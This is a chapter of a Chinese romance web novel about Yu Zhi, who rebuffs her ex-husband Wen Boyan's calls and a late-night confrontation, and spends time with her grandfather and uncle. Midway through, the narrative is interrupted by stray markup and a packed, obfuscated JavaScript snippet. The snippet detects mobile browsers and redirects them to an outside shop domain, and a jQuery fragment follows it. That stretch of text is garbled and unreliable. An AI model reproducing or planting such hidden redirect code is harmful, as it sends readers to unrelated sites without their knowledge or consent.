35. 第 35 章
    两天后,闻博延要打听的事康武才交差。

    余芷跟余家人的关系并不好,别说离婚了不回余家,就是上学的时候,宁愿住学校条件艰苦的宿舍,也没有住在余家的大别墅里。

    闻博延得了答案没说什么,倒又给康武安排了新的任务,要他再把余芷叫回家来一趟。闻博延的要求没办法搪塞,即使不明白这又是要干什么,之前都是自己上门找人的。

    康武又硬着头皮,编了个谎给余芷打了电话过去,只希望余芷还要回去拿东西,能像上次一样一口答应。

    结果余芷反问他,“如果只是一条领带找不到就找不到吧。我也忘了那条领带在哪。”

    “……”

    “我也有工作要做有事要忙,以后像这样的事你就不要再给我打电话了。抱歉了,康武大哥。”说完电话就断了。

    从前康武对余芷不错,是余芷在闻博延身边感受到的为数不多的尊重之一。这已经是余芷在上过一次当以后,对康武最大的礼貌。

    康武如实禀报,闻博延没再为难康武。

    随后他就只当那晚的事情没有发生过,亲自给余芷打了电话,结果余芷的电话一直在通话中。

    科能集团懂事长办公室,闻博延深坐在椅子里等着余芷那边的通话结束,办公室里康武出去了,就只剩高阳一个人。

    窗外冬风四起,天色有些昏暗,萧瑟得很。高阳整理着文件,琢磨了又琢磨,最后实在忍不住提醒了等电话的人一句,“会不会是您被拉黑了?”

    宽大的皮椅里,闻博延的脸色跟擦得晶亮的整体落地窗外边的天色一样有点暗。

    “上次跟我老婆吵架被拉黑,打过去就一直在通话中。其实那边不在通话中,这是一种伪装。”

    “原来是这样么。”闻博延有点无精打采。

    他挪开看高阳的视线,朝高阳的方向伸手,高阳明白,只得把自己的手机解锁递上。

    闻博延修长的手指立刻在高阳手机上鼓捣出一串数字,拨过去,电话果然一拨就通了。

    “喂,”余芷温和的声音从那边传来。

    “为什么把我的手机号拉黑?”

    闻博延厚重干净的声音辨识度很高,于余芷就更与旁人的声音大不相同。所以余芷一听是闻博延的声音立刻就给挂断了。

    堂堂董事长也不怕丢脸,也似乎根本不在乎身边的人怎么看他。

    闻博延立刻摁通桌子上的座式电话,要把康武叫进来。康武很快就推门进来,闻博延只要了手机,就当着康武的面再拨余芷的电话。

    康武的电话余芷是接过,但这是二十分钟以前,闻博延是糊涂了,电话一拨这通电话的意思还不明显么。

    那边直接就给挂了,再打就又是:“对不起,您拨打的电话正在通话中,请稍后再拨。”

    高阳跟康武两个人面面相觑。

    而后,“你要不还是晚要亲自去老北街找余小姐吧。”康武是真担心闻博延那副状态不佳的样子。

    一旁,高阳:“……”

    -

    余芷先前会回去,完全是为了拿东西,现在她还在乎的东西,只有那张照片。

    但仔细想想,婚都离了,一张照片其实又能有什么大不了。

    那本账本离开那个家其实也就没用了,至于没能拿得了的衣服,就当新年换新衣了。

    从前跟闻博延摊销生活费,余芷的收入差不多都贴补空了。现在没了这笔庞大的开销,她的腰包早一天天鼓起来了。

    闻博延那一通一通电话打来的时候,余芷和佟安欣正逛商场,添新衣,开心的shopping。

    跟佟安欣在一块儿,近墨者黑,东西一不小心就买多了。

    下午佟安欣送她回家的时候,余芷分了两趟才偷偷将衣服运到二楼,放进衣柜里。

    “今天下午去买了些什么?”

    “买了件厚外套,快过年了嘛。也给您买了一件,吃了饭给您试试?”

    “我有衣服穿,给我买做什么。”

    院子里太冷了,祖孙俩的饭桌搬到了室内,厨房外边的正经餐厅,正经餐桌上。老爷子嘴上不说半句喜欢的话,余芷给老爷子试衣服的时候,老爷子倒很是配合。

    “你这件羽绒服跟我屋里的有什么区别。”

    “这件新一点。”余芷笑眼弯弯。

    老爷子人高瘦端正,花白的头发也洗得干净,修剪得整整齐齐。余芷围着外公转,拍拍衣服上的毛领,抚平帽檐。老爷子的羽绒服是稳重的灰黑色,余芷身上的毛衣是鲜艳的玫瑰红,两个人站在一起像一笼粉蔷薇绕着一棵古松树在快乐生长。

    “浪费。”

    “这是我用奖金给您买的,奖金拿着不花以后就没动力了。”

    老爷子精神地拍拍胸口,试试羽绒服的厚度,衣服轻松被压下去,又立刻鼓起来,的确是一件好羽绒服。

    但老爷子挖苦,“你搓馒头还有奖金?”

    “搓馒头的确没奖金,我帮安欣策划了一个活动,给餐厅盈了一点利,所以就有奖金啦。”

    老爷子穿着羽绒服在镜子里左瞧了右瞧,右瞧了左瞧,余芷心里好笑,但也上楼拿了自己的羽绒服裹在身上,跟老爷子一块儿挤在镜子里瞧。

    “我这件花了多少钱?”

    “商场搞活动,很便宜的。”

    “你这件呢?”

    “一样,都是三百。”

    “三百还便宜,就骗你年纪小不识货,我去买它就值二百。”

    “……”

    还好在车上余芷就先把标签和发票都处置了。

    老爷子的衣服都是在菜市场口买的,他爱穿的白衬衫一百块钱买五件,夏天的白汗衫更离谱二十块买钱四件,跟年轻的余芷像生活在两个不同的世界。

    余芷也不敢应嘴,就从老爷子背后溜出去看电视了。老爷子也总算从镜子前走开,也把新衣服脱下了。打开衣柜门,老人家伸手把旧的那些都往两边掀,为余芷买的这件挪了个宽敞的过分的位置出来。

    衣服挂好,老爷子还是舒服地穿了旧衣服。

    老爷子从卧室出来,远瞧了眼余芷又走开了。而后把房间、厨房几处的垃圾都收好,拧了,才到客厅里来。

    余芷身上还裹着那件粉白色的新羽绒服,电视吵着,余芷看得认真。

    客厅里有空调,但空调是难得被打开的,余芷不想讨老爷子嫌,再说买了羽绒服裹上完全暖和了。

    老爷子先是把一袋子垃圾递给余芷,余芷抬脚就准备出门,但老爷子又突然递了一张卡出来。老爷子说这张银行卡就用来置办年货,想吃点什么,买点什么就花卡里的钱。

    一件羽绒服不够穿,就再买一件,但别买太贵的了,像今天这种三百的可以再买一件。

    “我有钱,不用你的钱。”

    “这也是我的奖金。拿着,拿去明天进银行好好瞧瞧,什么才叫奖金。你的生辰倒过来就是密码。买两件儿衣服,六百元钱,那算什么奖金。”

    “……”

    老爷子一双手背着,又嗤人,但嗤完人最后又回头来跟她说:“里边钱不少听,别弄丢了。”

    “哦。”

    余芷将卡拿在手上捏了好一会儿,最后揣进暖和的衣兜。

    她一手揣兜,一手拎着垃圾,暖烘烘地打开大门。

    她的这件羽绒服也同样带了毛领,花了不少钱买的衣服,又松又软,穿的人觉得很暖和,看的人将她看在眼里就像看到了一只刚出生的软毛猫。

    余芷舒服地缩在外套里,冬夜的街头更显冷寂,梧桐树上的叶子都掉光了,所以停在树下的一辆车就比往常还要显眼。

    余芷从盘算着什么时候去瞧瞧老爷子的奖金是多少时,同时看到了闻博延的车和只穿了一件大衣靠在车边的人。

    闻博延从来就不怕冷,也是,他出入的地方不会没有暖气。

    电话一通通地打,余芷不知道闻博延这次又要她回御景大厦是有什么目的。白映秋最近已经放弃打老爷子的主意了。

    余芷仍然是穿过马路,把垃圾分类丢了返回。

    闻博延还是如往常那样,拦住去路,说有事要问她。

    夜风吹得冷,有人肌骨凌冽的瘦鼻头泛着红。

    余芷将一双手都插进暖和的衣服口袋里,罢了,点点头。

    “这张卡记得吗?”

    余芷转眼看,闻博延的手掌里托着一张银行卡,她才想起原来离婚的时候还有这件不小的事没有交接。

    余芷心里立刻隆起担心,闻博延立刻就问她,“卡上的钱为什么没有拿走?”

    “……”

    “回答我?”闻博延语气坚定,但态度平和。

    不管怎么样余芷心里大松了一口气。但大松一口气后是不明白,既然没有什么事发生还有什么问题?

    俩人站得近,闻博延身体拉出的阴影罩着余芷整个人。余芷逆着灯光,眉有点皱。

    “你的钱我全都还给你了,不是皆大欢喜吗?”

    “当初结婚你为的不就是这些?”

    “文博延,我已经跟你离婚很久了。再扯这些事情没有意义了吧?”

    “没有意义我就不会大晚上过来找你了。”

    余芷的情绪稍有起伏,闻博延的情绪倒一直都平淡和缓。余芷手指捏着兜里的卡片,警惕,但似乎也是受了平暖的影响,她也平和下来,还是等着闻博延到底想干什么。

    逆着路灯的人视线从余芷的眉眼划过,也从她暖融融的羽绒服上划过。不见暖便不知道冷是冷,不知道暖的诱惑。

    他却道:“起风了,上车里去说好吗?这儿太冷了。”

    余芷淡漠回答,“的确冷,我只是出来扔垃圾的,本来准备早来早回,你要嫌冷可以上车,我也可以回家了。”

    闻博延说这句话的时候清瘦的鼻头的确发红,余芷也看得清楚,但她显然没有半点怜悯,半点同情,也没有半点客气。

    不论其它,只论年纪,闻博延就比余芷整整年长着5岁。身份,阅历,身材都有着差距,但此刻两个人在一起,高大的人却明显落了下风。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212106|135800||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    今天闻博延的语气从头到尾都是软的。

    余芷的羽绒服又暖又软,但她的脸是冷的,只有一副有什么事,请长话短说的冷漠样子。

    闻博延身上的深藏色大衣很妥帖,妥帖得衬着衣料以外的冷白皮肤,让人只是看着也觉得冷。

    他冷背冷脸,声音却是一种柔软的温和,“当初跟我结婚,除了家里的原因,是不是还有别的什么原因?”

    夜风刮耳朵,余芷再一次抬起了眼睛,从逆着的灯光里看闻博延。

    但她看不懂,“没有原因。我这个人没有多聪明,想不了太复杂的事。”

    “余芷。”

    “我跟你已经离婚很久了,如果有余家的人还欠着你的债,还是他们又找了你,你去找他们还债就行了。”

    “没谁欠我的债,我今天来就是想知道这三年时间,其实……是不是心甘情愿的?”

    “……”

    “跟我说过的那些放荡话是不是气话?”

    起风了,闻博延的深藏色大衣被风扯着衣摆,衣摆动在晃,那影子也在地上晃晃荡荡。

    夜雾从地面升起,两个人的呼吸都开始在空气里显形。

    “账本算得很清楚,我也看得很清楚,你的确不花我的钱,还倒贴了不少是不是?为什么?”

    余芷不禁往周围看了看。疑心这会不会是一出恶作剧?要套她的什么话。

    即便闻博延这个人跟她的这个不切实际的想法不搭边。

    被人翻了陈年旧账,余芷沉默了好一会儿。在这短暂的交锋里,余芷只觉得自己是被人抓了把柄,她不得不立刻回击。

    “因为我有自己的生活原则,该拿的拿,不该拿的不拿。我没有拿的就是我自认为不该拿的。”

    “因为你这种人我也不知道什么时候就会翻脸,我也害怕像现在眼下的情况发生了,但是我花了你的钱,欠了你很多债没法还。”

    “但是现在没有,我庆幸。闻博延,我早有准备明白吗,所以根本就没有什么刺可以让你挑!”

    余芷说这番话的时候,闻博延一直深看着人。就算被余芷的话像刀子一样刺了,但他还是像要从余芷的话里再看出点别的什么。他口气更软地打断余芷,“我不是在挑你的刺,我就是想要一个答案。我问得不清楚吗?”

    但余芷脸上只有维护自己的激进,“不清楚,我不知道你想干什么。但不管什么原因,就到此为止吧。我不想再见到你,实话告诉你,白映秋的事的确是我从中作梗,因为我很讨厌你,因为你以前对我太差,对我太过分。”

    “我这么一个人从来就没有得到过你的一点尊重,我曾经的身份就是你花钱买到手的一件工具而已吧?所以你随心情欺压我,欺负我,那个时候我认了,但现在两清了。”

    余芷的话没有一句是胡编乱造的,这种无用的控诉她从来就没有提过,直想不到离婚后半年的今天还会提起。

    她说:她对他有记恨,很深,所以连他身边的人也就一块儿记恨。所以,今后他们谁也别再过来了,不要再以任何形式出现,那是骚扰,是侵犯。

    余芷转身就走了。

    她跟人吵了架,就像大部分跟人吵了架的人,吵完都觉得有疏漏,恨不能重新吵一次。

    但从那晚过后,余芷就真没再遇上过闻博延或是白映秋。

    冬天的日子过得慢,但因为有了春节,日子又变得快起来。临近春节的时候老爷子的儿子,余芷的舅舅回家了。

    四十岁的男人,还没有结婚。家里老太太去世,跟老爷子又相处不好,就一直在外游荡,近几年在川西草原上盘了家客栈,就算是定居下来。

    拿老爷子的话说:“好手好脚,四肢健全,不知道你为什么讨不到老婆。”

    “因为长得太帅,人家怕跟了我不踏实。”

    老爷子对余芷都不那么满意,对儿子就更不满意了。只是老人家也有自己的分寸,人刚回来,大过年的,罢了。

    后者倒转头跟余芷笑起来,“是吧小林,你觉得老舅帅不帅。”

    余芷在这个家就跟余这个姓不相干了,这个家的人对她也自有称呼,她也是林家人,名字叫岁岁,岁岁平安的岁岁。舅舅有时候就叫她小林,余芷叫舅舅大林。

    余芷细细咽了嘴巴里的东西,认真道,“你满脸胡须的我看不出来。明天早上把胡须剔干净了我再看看帅不帅。”

    男人被逗笑,摸上自己留着浅胡须的下巴,说余芷小孩子不懂欣赏。

    舅舅回来,室里空调大开,餐厅里暖灯大亮,俩人一唱一和的,有说有笑,老爷子老大不高兴,只哼哧哼哧地吃饭。

    屋外春雨绵绵,一道墙之外,天色已经一点点暗下来。一辆长长的黑色轿车卧在路边的梧桐树下。冷雨如丝飘零,被暮色浸凉的车里还是那个男人,他透过朦朦雨雾看着高出院墙的房子。

    康武坐在驾驶室,也不知道要等到什么时候,也不敢问,就眼观鼻,鼻观心。

    静静的,只有夜色在蔓延,低压,将一切都融化在了黑夜里。